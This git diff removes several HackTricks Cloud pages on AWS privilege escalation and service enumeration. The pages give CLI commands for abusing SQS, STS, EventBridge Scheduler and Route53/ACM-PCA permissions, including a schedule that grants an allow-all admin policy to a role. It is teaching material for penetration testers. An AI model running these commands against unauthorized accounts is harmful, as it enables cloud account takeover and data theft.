diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
deleted file mode 100644
index 258084f11..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
+++ /dev/null
@@ -1,74 +0,0 @@
-# AWS - SQS Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## SQS
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-sqs-and-sns-enum.md" %}
-[aws-sqs-and-sns-enum.md](../aws-services/aws-sqs-and-sns-enum.md)
-{% endcontent-ref %}
-
-### `sqs:AddPermission`
-
-An attacker could use this permission to grant unauthorized users or services access to an SQS queue by creating new policies or modifying existing policies. This could result in unauthorized access to the messages in the queue or manipulation of the queue by unauthorized entities.
-
-{% code overflow="wrap" %}
-```bash
-cssCopy codeaws sqs add-permission --queue-url <value> --actions <value> --aws-account-ids <value> --label <value>
-```
-{% endcode %}
-
-**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services.
-
-### `sqs:SendMessage` , `sqs:SendMessageBatch`
-
-An attacker could send malicious or unwanted messages to the SQS queue, potentially causing data corruption, triggering unintended actions, or exhausting resources.
-
-```bash
-aws sqs send-message --queue-url <value> --message-body <value>
-aws sqs send-message-batch --queue-url <value> --entries <value>
-```
-
-**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion.
-
-### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
-
-An attacker could receive, delete, or modify the visibility of messages in an SQS queue, causing message loss, data corruption, or service disruption for applications relying on those messages.
-
-```bash
-aws sqs receive-message --queue-url <value>
-aws sqs delete-message --queue-url <value> --receipt-handle <value>
-aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
-```
-
-**Potential Impact**: Steal sensitive information, Message loss, data corruption, and service disruption for applications relying on the affected messages.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
deleted file mode 100644
index 1162ac6fe..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
+++ /dev/null
@@ -1,153 +0,0 @@
-# AWS - STS Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## STS
-
-### `sts:AssumeRole`
-
-Every role is created with a **role trust policy**, this policy indicates **who can assume the created role**. If a role from the **same account** says that an account can assume it, it means that the account will be able to access the role (and potentially **privesc**).
-
-For example, the following role trust policy indicates that anyone can assume it, therefore **any user will be able to privesc** to the permissions associated with that role.
-
-```json
-{
-    "Version": "2012-10-17",
-    "Statement": [
-        {
-            "Effect": "Allow",
-            "Principal": {
-                "AWS": "*"
-            },
-            "Action": "sts:AssumeRole"
-        }
-    ]
-}
-```
-
-You can impersonate a role running:
-
-```bash
-aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname
-```
-
-**Potential Impact:** Privesc to the role.
-
-{% hint style="danger" %}
-Note that in this case the permission `sts:AssumeRole` needs to be **indicated in the role to abuse** and not in a policy belonging to the attacker.\
-With one exception, in order to **assume a role from a different account** the attacker account **also needs** to have the **`sts:AssumeRole`** over the role.
-{% endhint %}
-
-### **`sts:GetFederationToken`**
-
-With this permission it's possible to generate credentials to impersonate any user:
-
-```bash
-aws sts get-federation-token --name <username>
-```
-
-This is how this permission can be given securely without giving access to impersonate other users:
-
-```json
-{
-    "Version": "2012-10-17",
-    "Statement": [
-        {
-            "Sid": "VisualEditor0",
-            "Effect": "Allow",
-            "Action": "sts:GetFederationToken",
-            "Resource": "arn:aws:sts::947247140022:federated-user/${aws:username}"
-        }
-    ]
-}
-```
-
-### `sts:AssumeRoleWithSAML`
-
-A trust policy with this role grants **users authenticated via SAML access to impersonate the role.**
-
-An example of a trust policy with this permission is:
-
-```json
-{
-    "Version": "2012-10-17",
-    "Statement": [
-        {
-            "Sid": "OneLogin",
-            "Effect": "Allow",
-            "Principal": {
-                "Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin"
-            },
-            "Action": "sts:AssumeRoleWithSAML",
-            "Condition": {
-                "StringEquals": {
-                    "SAML:aud": "https://signin.aws.amazon.com/saml"
-                }
-            }
-        }
-    ]
-}
-```
-
-To generate credentials to impersonate the role in general you could use something like:
-
-```bash
-aws sts  assume-role-with-saml --role-arn <value> --principal-arn <value>
-```
-
-But **providers** might have their **own tools** to make this easier, like [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role):
-
-{% code overflow="wrap" %}
-```bash
-onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600
-```
-{% endcode %}
-
-**Potential Impact:** Privesc to the role.
-
-### `sts:AssumeRoleWithWebIdentity`
-
-This permission grants permission to obtain a set of temporary security credentials for **users who have been authenticated in a mobile, web application, EKS...** with a web identity provider. [Learn more here.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)
-
-For example, if an **EKS service account** should be able to **impersonate an IAM role**, it will have a token in **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** and can **assume the role and get credentials** doing something like:
-
-{% code overflow="wrap" %}
-```bash
-aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/<role_name> --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
-# The role name can be found in the metadata of the configuration of the pod
-```
-{% endcode %}
-
-### Federation Abuse
-
-{% content-ref url="../aws-basic-information/aws-federation-abuse.md" %}
-[aws-federation-abuse.md](../aws-basic-information/aws-federation-abuse.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md
deleted file mode 100644
index 9173fadf5..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md
+++ /dev/null
@@ -1,75 +0,0 @@
-# AWS - EventBridge Scheduler Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## EventBridge Scheduler
-
-More info EventBridge Scheduler in:
-
-{% content-ref url="../aws-services/eventbridgescheduler-enum.md" %}
-[eventbridgescheduler-enum.md](../aws-services/eventbridgescheduler-enum.md)
-{% endcontent-ref %}
-
-### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`)
-
-An attacker with those permissions will be able to **`create`|`update` an scheduler and abuse the permissions of the scheduler role** attached to it to perform any action
-
-For example, they could configure the schedule to **invoke a Lambda function** which is a templated action:
-
-```bash
-aws scheduler create-schedule \
-    --name MyLambdaSchedule \
-    --schedule-expression "rate(5 minutes)" \
-    --flexible-time-window "Mode=OFF" \
-    --target '{
-        "Arn": "arn:aws:lambda:<region>:<account-id>:function:<LambdaFunctionName>",
-        "RoleArn": "arn:aws:iam::<account-id>:role/<RoleName>"
-    }'
-```
-
-In addition to templated service actions, you can use **universal targets** in EventBridge Scheduler to invoke a wide range of API operations for many AWS services. Universal targets offer flexibility to invoke almost any API. One example can be using universal targets adding "**AdminAccessPolicy**", using a role that has "**putRolePolicy**" policy:
-
-```bash
-aws scheduler create-schedule \                                           
-    --name GrantAdminToTargetRoleSchedule \
-    --schedule-expression "rate(5 minutes)" \
-    --flexible-time-window "Mode=OFF" \
-    --target '{               
-        "Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy",
-        "RoleArn": "arn:aws:iam::<account-id>:role/RoleWithPutPolicy",
-        "Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}"                
-    }'
-```
-
-## References
-
-* [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html)
-* [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
deleted file mode 100644
index 4a13f8e5c..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
+++ /dev/null
@@ -1,59 +0,0 @@
-# AWS - Route53 Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-For more information about Route53 check:
-
-{% content-ref url="../aws-services/aws-route53-enum.md" %}
-[aws-route53-enum.md](../aws-services/aws-route53-enum.md)
-{% endcontent-ref %}
-
-### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate`
-
-{% hint style="info" %}
-To perform this attack the target account must already have an [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** setup in the account, and EC2 instances in the VPC(s) must have already imported the certificates to trust it. With this infrastructure in place, the following attack can be performed to intercept AWS API traffic.
-{% endhint %}
-
-Other permissions **recommend but not required for the enumeration** part: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs`
-
-Assuming there is an AWS VPC with multiple cloud-native applications talking to each other and to AWS API. Since the communication between the microservices is often TLS encrypted there must be a private CA to issue the valid certificates for those services. **If ACM-PCA is used** for that and the adversary manages to get **access to control both route53 and acm-pca private CA** with the minimum set of permissions described above, it can **hijack the application calls to AWS API** taking over their IAM permissions.
-
-This is possible because:
-
-* AWS SDKs do not have [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning)
-* Route53 allows creating Private Hosted Zone and DNS records for AWS APIs domain names
-* Private CA in ACM-PCA cannot be restricted to signing only certificates for specific Common Names
-
-**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic.
-
-#### Exploitation <a href="#discovery" id="discovery"></a>
-
-Find the exploitation steps in the original research: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/README.md b/pentesting-cloud/aws-security/aws-services/README.md
deleted file mode 100644
index 67243cb53..000000000
--- a/pentesting-cloud/aws-security/aws-services/README.md
+++ /dev/null
@@ -1,57 +0,0 @@
-# AWS - Services
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Types of services
-
-### Container services
-
-Services that fall under container services have the following characteristics:
-
-* The service itself runs on **separate infrastructure instances**, such as EC2.
-* **AWS** is responsible for **managing the operating system and the platform**.
-* A managed service is provided by AWS, which is typically the service itself for the **actual application which are seen as containers**.
-* As a user of these container services, you have a number of management and security responsibilities, including **managing network access security, such as network access control list rules and any firewalls**.
-* Also, platform-level identity and access management where it exists.
-* **Examples** of AWS container services include Relational Database Service, Elastic Mapreduce, and Elastic Beanstalk.
-
-### Abstract Services
-
-* These services are **removed, abstracted, from the platform or management layer which cloud applications are built on**.
-* The services are accessed via endpoints using AWS application programming interfaces, APIs.
-* The **underlying infrastructure, operating system, and platform is managed by AWS**.
-* The abstracted services provide a multi-tenancy platform on which the underlying infrastructure is shared.
-* **Data is isolated via security mechanisms**.
-* Abstract services have a strong integration with IAM, and **examples** of abstract services include S3, DynamoDB, Amazon Glacier, and SQS.
-
-## Services Enumeration
-
-**The pages of this section are ordered by AWS service. In there you will be able to find information about the service (how it works and capabilities) and that will allow you to escalate privileges.**
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md
deleted file mode 100644
index a4e9343ab..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md
+++ /dev/null
@@ -1,101 +0,0 @@
-# AWS - CloudFormation & Codestar Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## CloudFormation
-
-AWS CloudFormation is a service designed to **streamline the management of AWS resources**. It enables users to focus more on their applications running in AWS by **minimizing the time spent on resource management**. The core feature of this service is the **template**—a descriptive model of the desired AWS resources. Once this template is provided, CloudFormation is responsible for the **provisioning and configuration** of the specified resources. This automation facilitates a more efficient and error-free management of AWS infrastructure.
-
-### Enumeration
-
-```bash
-# Stacks
-aws cloudformation list-stacks
-aws cloudformation describe-stacks # You could find sensitive information here
-aws cloudformation list-stack-resources --stack-name <name>
-aws cloudformation get-template --stack-name cloudformationStack
-aws cloudformation describe-stack-events --stack-name cloudformationStack 
-
-## Show params and outputs 
-aws cloudformation describe-stacks | jq ".Stacks[] | .StackId, .StackName, .Parameters, .Outputs"
-
-# Export
-aws cloudformation list-exports
-aws cloudformation list-imports --export-name <x_name>
-
-# Stack Sets
-aws cloudformation list-stack-sets
-aws cloudformation describe-stack-set --stack-set-name <name>
-aws cloudformation list-stack-instances --stack-set-name <name>
-aws cloudformation list-stack-set-operations --stack-set-name <name>
-aws cloudformation list-stack-set-operation-results --stack-set-name <name> --operation-id <id>
-```
-
-### Privesc
-
-In the following page you can check how to **abuse cloudformation permissions to escalate privileges**:
-
-{% content-ref url="../aws-privilege-escalation/aws-cloudformation-privesc/" %}
-[aws-cloudformation-privesc](../aws-privilege-escalation/aws-cloudformation-privesc/)
-{% endcontent-ref %}
-
-### Post-Exploitation
-
-Check for **secrets** or sensitive information in the **template, parameters & output** of each CloudFormation
-
-## Codestar
-
-AWS CodeStar is a service for creating, managing, and working with software development projects on AWS. You can quickly develop, build, and deploy applications on AWS with an AWS CodeStar project. An AWS CodeStar project creates and **integrates AWS services** for your project development toolchain. Depending on your choice of AWS CodeStar project template, that toolchain might include source control, build, deployment, virtual servers or serverless resources, and more. AWS CodeStar also **manages the permissions required for project users** (called team members).
-
-### Enumeration
-
-```bash
-# Get projects information
-aws codestar list-projects
-aws codestar describe-project --id <project_id>
-aws codestar list-resources --project-id <project_id>
-aws codestar list-team-members --project-id <project_id>
-
- aws codestar list-user-profiles
- aws codestar describe-user-profile --user-arn <arn>
-```
-
-### Privesc
-
-In the following page you can check how to **abuse codestar permissions to escalate privileges**:
-
-{% content-ref url="../aws-privilege-escalation/aws-codestar-privesc/" %}
-[aws-codestar-privesc](../aws-privilege-escalation/aws-codestar-privesc/)
-{% endcontent-ref %}
-
-## References
-
-* [https://docs.aws.amazon.com/cloudformation/](https://docs.aws.amazon.com/cloudformation/)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md b/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md
deleted file mode 100644
index d80ef3c21..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md
+++ /dev/null
@@ -1,70 +0,0 @@
-# AWS - CloudFront Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## CloudFront
-
